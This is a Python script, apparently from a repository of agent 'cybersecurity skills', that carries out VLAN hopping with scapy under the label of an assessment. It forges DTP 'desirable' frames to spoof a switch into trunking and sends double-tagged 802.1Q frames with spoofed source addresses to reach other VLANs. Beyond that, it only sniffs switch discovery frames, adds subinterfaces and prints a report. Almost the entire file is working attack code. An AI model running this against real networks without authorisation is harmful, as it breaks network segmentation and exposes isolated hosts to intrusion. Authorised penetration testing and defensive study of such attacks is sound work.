Files
Anthropic-Cybersecurity-Skills/skills/performing-vlan-hopping-attack/scripts/agent.py
T
mukul975 27c6414ca5 Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders
2026-03-10 21:02:12 +01:00

181 lines
6.0 KiB
Python

#!/usr/bin/env python3
"""VLAN hopping assessment agent using scapy for DTP and double-tagging tests."""
import subprocess
import sys
import os
import json
from datetime import datetime
try:
from scapy.all import (
Ether, Dot1Q, IP, ICMP, sendp, sniff, get_if_hwaddr,
conf, LLC, SNAP, Raw
)
except ImportError:
print("Install: pip install scapy")
sys.exit(1)
def get_interface_info(iface="eth0"):
"""Get network interface details."""
mac = get_if_hwaddr(iface)
result = subprocess.run(
["ip", "link", "show", iface], capture_output=True, text=True
)
return {"interface": iface, "mac": mac, "status": result.stdout.strip()}
def check_vlan_config(iface="eth0"):
"""Check current VLAN configuration on the interface."""
vlan_config = None
try:
with open("/proc/net/vlan/config", "r") as f:
vlan_config = f.read()
except FileNotFoundError:
pass
return {"vlan_config": vlan_config}
def listen_for_dtp(iface="eth0", timeout=30):
"""Listen for DTP frames to assess trunk negotiation status."""
dtp_frames = []
def dtp_handler(pkt):
if pkt.haslayer(LLC):
dtp_frames.append({
"src": pkt[Ether].src,
"dst": pkt[Ether].dst,
"time": str(datetime.now()),
})
sniff(iface=iface, filter="ether dst 01:00:0c:cc:cc:cc",
prn=dtp_handler, timeout=timeout, store=0)
return {
"dtp_frames_received": len(dtp_frames),
"dtp_active": len(dtp_frames) > 0,
"details": dtp_frames,
}
def listen_for_cdp_lldp(iface="eth0", timeout=60):
"""Capture CDP/LLDP frames to discover switch information."""
discovery_frames = []
def handler(pkt):
discovery_frames.append({
"src": pkt[Ether].src,
"type": hex(pkt[Ether].type) if pkt[Ether].type else "LLC",
"time": str(datetime.now()),
"length": len(pkt),
})
sniff(iface=iface,
filter="ether proto 0x88cc or (ether dst 01:00:0c:cc:cc:cc)",
prn=handler, timeout=timeout, store=0)
return {"frames": discovery_frames, "switch_discovered": len(discovery_frames) > 0}
def send_dtp_desirable(iface="eth0", count=10):
"""Send DTP desirable frames to attempt trunk negotiation."""
mac = get_if_hwaddr(iface)
dtp_frame = (
Ether(dst="01:00:0c:cc:cc:cc", src=mac) /
LLC(dsap=0xAA, ssap=0xAA, ctrl=3) /
SNAP(OUI=0x00000C, code=0x2004) /
Raw(load=bytes([
0x00, 0x01, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0x00, 0x05, 0x03,
0x00, 0x03, 0x00, 0x05, 0xA5,
0x00, 0x04, 0x00, 0x0A,
]) + bytes.fromhex(mac.replace(":", "")))
)
sendp(dtp_frame, iface=iface, count=count, inter=1, verbose=False)
return {"frames_sent": count, "type": "DTP Desirable", "interface": iface}
def create_vlan_interface(iface, vlan_id, ip_addr):
"""Create a VLAN subinterface."""
subprocess.run(["modprobe", "8021q"], capture_output=True)
vlan_iface = f"{iface}.{vlan_id}"
subprocess.run(
["ip", "link", "add", "link", iface, "name", vlan_iface,
"type", "vlan", "id", str(vlan_id)],
capture_output=True
)
subprocess.run(
["ip", "addr", "add", f"{ip_addr}/24", "dev", vlan_iface],
capture_output=True
)
subprocess.run(["ip", "link", "set", vlan_iface, "up"], capture_output=True)
return {"vlan_interface": vlan_iface, "vlan_id": vlan_id, "ip": ip_addr}
def send_double_tagged(iface, outer_vlan, inner_vlan, target_ip):
"""Send double-tagged 802.1Q frames for VLAN hopping."""
mac = get_if_hwaddr(iface)
pkt = (
Ether(dst="ff:ff:ff:ff:ff:ff", src=mac) /
Dot1Q(vlan=outer_vlan) /
Dot1Q(vlan=inner_vlan) /
IP(dst=target_ip, src=f"10.10.{inner_vlan}.99") /
ICMP(type=8)
)
sendp(pkt, iface=iface, count=5, inter=1, verbose=False)
return {
"type": "Double Tagged",
"outer_vlan": outer_vlan,
"inner_vlan": inner_vlan,
"target_ip": target_ip,
"note": "Unidirectional - no responses expected",
}
def cleanup_vlan_interfaces(iface, vlan_ids):
"""Remove VLAN subinterfaces created during testing."""
removed = []
for vid in vlan_ids:
vlan_iface = f"{iface}.{vid}"
result = subprocess.run(
["ip", "link", "del", vlan_iface], capture_output=True
)
removed.append({"interface": vlan_iface, "success": result.returncode == 0})
return removed
def run_assessment(iface="eth0", target_vlans=None, target_ips=None):
"""Run full VLAN hopping assessment."""
if target_vlans is None:
target_vlans = [10, 20]
if target_ips is None:
target_ips = {10: "10.10.10.1", 20: "10.10.20.1"}
report = {
"timestamp": datetime.now().isoformat(),
"interface": get_interface_info(iface),
"tests": [],
}
dtp_listen = listen_for_dtp(iface, timeout=15)
report["tests"].append({"test": "DTP Listening", "result": dtp_listen})
dtp_send = send_dtp_desirable(iface)
report["tests"].append({"test": "DTP Switch Spoofing", "result": dtp_send})
for vlan_id in target_vlans:
ip = target_ips.get(vlan_id, f"10.10.{vlan_id}.1")
dt_result = send_double_tagged(iface, 1, vlan_id, ip)
report["tests"].append({"test": f"Double Tagging VLAN {vlan_id}", "result": dt_result})
cleanup_vlan_interfaces(iface, target_vlans)
return report
def print_report(report):
print("VLAN Hopping Assessment Report")
print("=" * 50)
print(f"Date: {report['timestamp']}")
print(f"Interface: {report['interface']['interface']} ({report['interface']['mac']})")
for test in report["tests"]:
print(f"\n--- {test['test']} ---")
for k, v in test["result"].items():
print(f" {k}: {v}")
if __name__ == "__main__":
iface = sys.argv[1] if len(sys.argv) > 1 else "eth0"
result = run_assessment(iface)
print_report(result)